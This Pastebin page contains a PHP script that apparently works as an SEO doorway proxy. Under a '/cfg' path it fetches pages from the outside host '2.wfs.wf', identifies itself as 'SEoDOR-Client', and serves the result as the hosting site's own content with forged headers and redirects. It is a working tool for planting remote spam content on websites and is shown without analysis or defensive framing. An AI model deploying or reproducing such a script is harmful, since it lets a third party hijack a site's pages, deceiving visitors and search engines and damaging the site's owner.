Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $pathToDor = "/cfg";
- $myHost = "2.wfs.wf";
- $pathOnMyHost = "";
- $template = 'fhouse';
- $connect = 0; // (1 - cURL, 0 - Socket)
- $path = substr($_SERVER['REQUEST_URI'], strlen($pathToDor));
- $html = getContent($myHost, $pathOnMyHost.$path, $template,$pathToDor);
- if (strstr($path, ".css")) header('Content-Type: text/css; charset=utf-8');
- else if (strstr($path, ".png")) header('Content-Type: image/png');
- else if (strstr($path, ".jpg") || strstr($path, ".jpeg")) header('Content-Type: image/jpeg');
- else if (strstr($path, ".gif")) header('Content-Type: image/gif');
- else if (strstr($path, ".ico")) header("Content-type: image/x-icon");
- else if (strstr($path, ".xml")) header ('Content-type: text/xml; charset=utf-8');
- else if (strstr($path, ".txt")) header('Content-Type: text/plain; charset=utf-8');
- else if (strstr($path, "rss")) header ('Content-type: text/xml; charset=utf-8');
- else header('Content-Type: text/html; charset=utf-8');
- echo($html);
- function getContent($host, $path, $template, $pathToDor) {
- global $connect, $pathOnMyHost;
- if ($connect) {
- $headers = array(
- "Referer: http://".$_SERVER['HTTP_HOST']."/".$template.$pathToDor."/",
- "Accept-language: en",
- "User-Agent: SEoDOR-Client (pathOnMyHost-$pathOnMyHost)"
- );
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, 'http://'.$host.$path);
- curl_setopt($ch, CURLOPT_HTTPHEADER, $headers );
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15 );
- curl_setopt($ch, CURLOPT_TIMEOUT, 15 );
- return $result = curl_redir_exec( $ch );
- curl_close($ch);
- } else {
- $buff = '';
- $socket = @fsockopen($host, 80, $errno, $errstr);
- if ($socket) {
- @fputs($socket, "GET {$path} HTTP/1.0\r\n");
- @fputs($socket, "Host: {$host}\r\n");
- @fputs($socket, "User-Agent: SEoDOR-Client (pathOnMyHost-$pathOnMyHost)\r\n");
- @fputs($socket, "Referer: http://".$_SERVER['HTTP_HOST']."/".$template.$pathToDor."/\r\n");
- @fputs($socket, "Connection: close\r\n\r\n");
- while (!@feof($socket)) {
- $buff .= @fgets($socket, 128);
- }
- @fclose($socket);
- $result = explode("\r\n\r\n", $buff, 2);
- if (preg_match("~Location: (.*)~", $result[0], $m)) {
- header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
- header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
- header("Pragma: no-cache"); // HTTP/1.1
- header("Last-Modified: ".gmdate("D, d M Y H:i:s")."GMT");
- header("HTTP/1.1 301 Moved Permanently");
- header("Location: ".str_replace($pathOnMyHost, '', $m[1]));exit;
- }
- return $result[1];
- } else return "";
- }
- }
- function curl_redir_exec($ch) {
- global $pathOnMyHost;
- static $curl_loops = 0;
- static $curl_max_loops = 20;
- if ($curl_loops >= $curl_max_loops) {
- $curl_loops = 0;
- return FALSE;
- }
- curl_setopt($ch, CURLOPT_HEADER, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- $data = curl_exec($ch);
- list($header, $data) = explode("\r\n\r\n", $data, 2);
- $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
- if ($http_code == 301 || $http_code == 302) {
- $matches = array();
- preg_match("/Location:(.*?)\n/", $header, $matches);
- $url = @parse_url(trim(array_pop($matches)));
- if (!$url) {
- //couldn't process the url to redirect to
- $curl_loops = 0;
- return $data;
- }
- $last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL));
- if (!$url['scheme']) $url['scheme'] = $last_url['scheme'];
- if (!$url['host']) $url['host'] = $last_url['host'];
- if (!$url['path']) $url['path'] = $last_url['path'];
- //$new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query']?'?'.$url['query']:'');
- $new_url = $url['path'] . ($url['query']?'?'.$url['query']:'');
- header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
- header("Cache-Control: no-cache, must-revalidate");
- header("Pragma: no-cache");
- header("Last-Modified: ".gmdate("D, d M Y H:i:s")."GMT");
- header("HTTP/1.1 301 Moved Permanently");
- header("Location: ".str_replace($pathOnMyHost, '', $new_url));exit;
- } else {
- $curl_loops=0;
- return $data;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement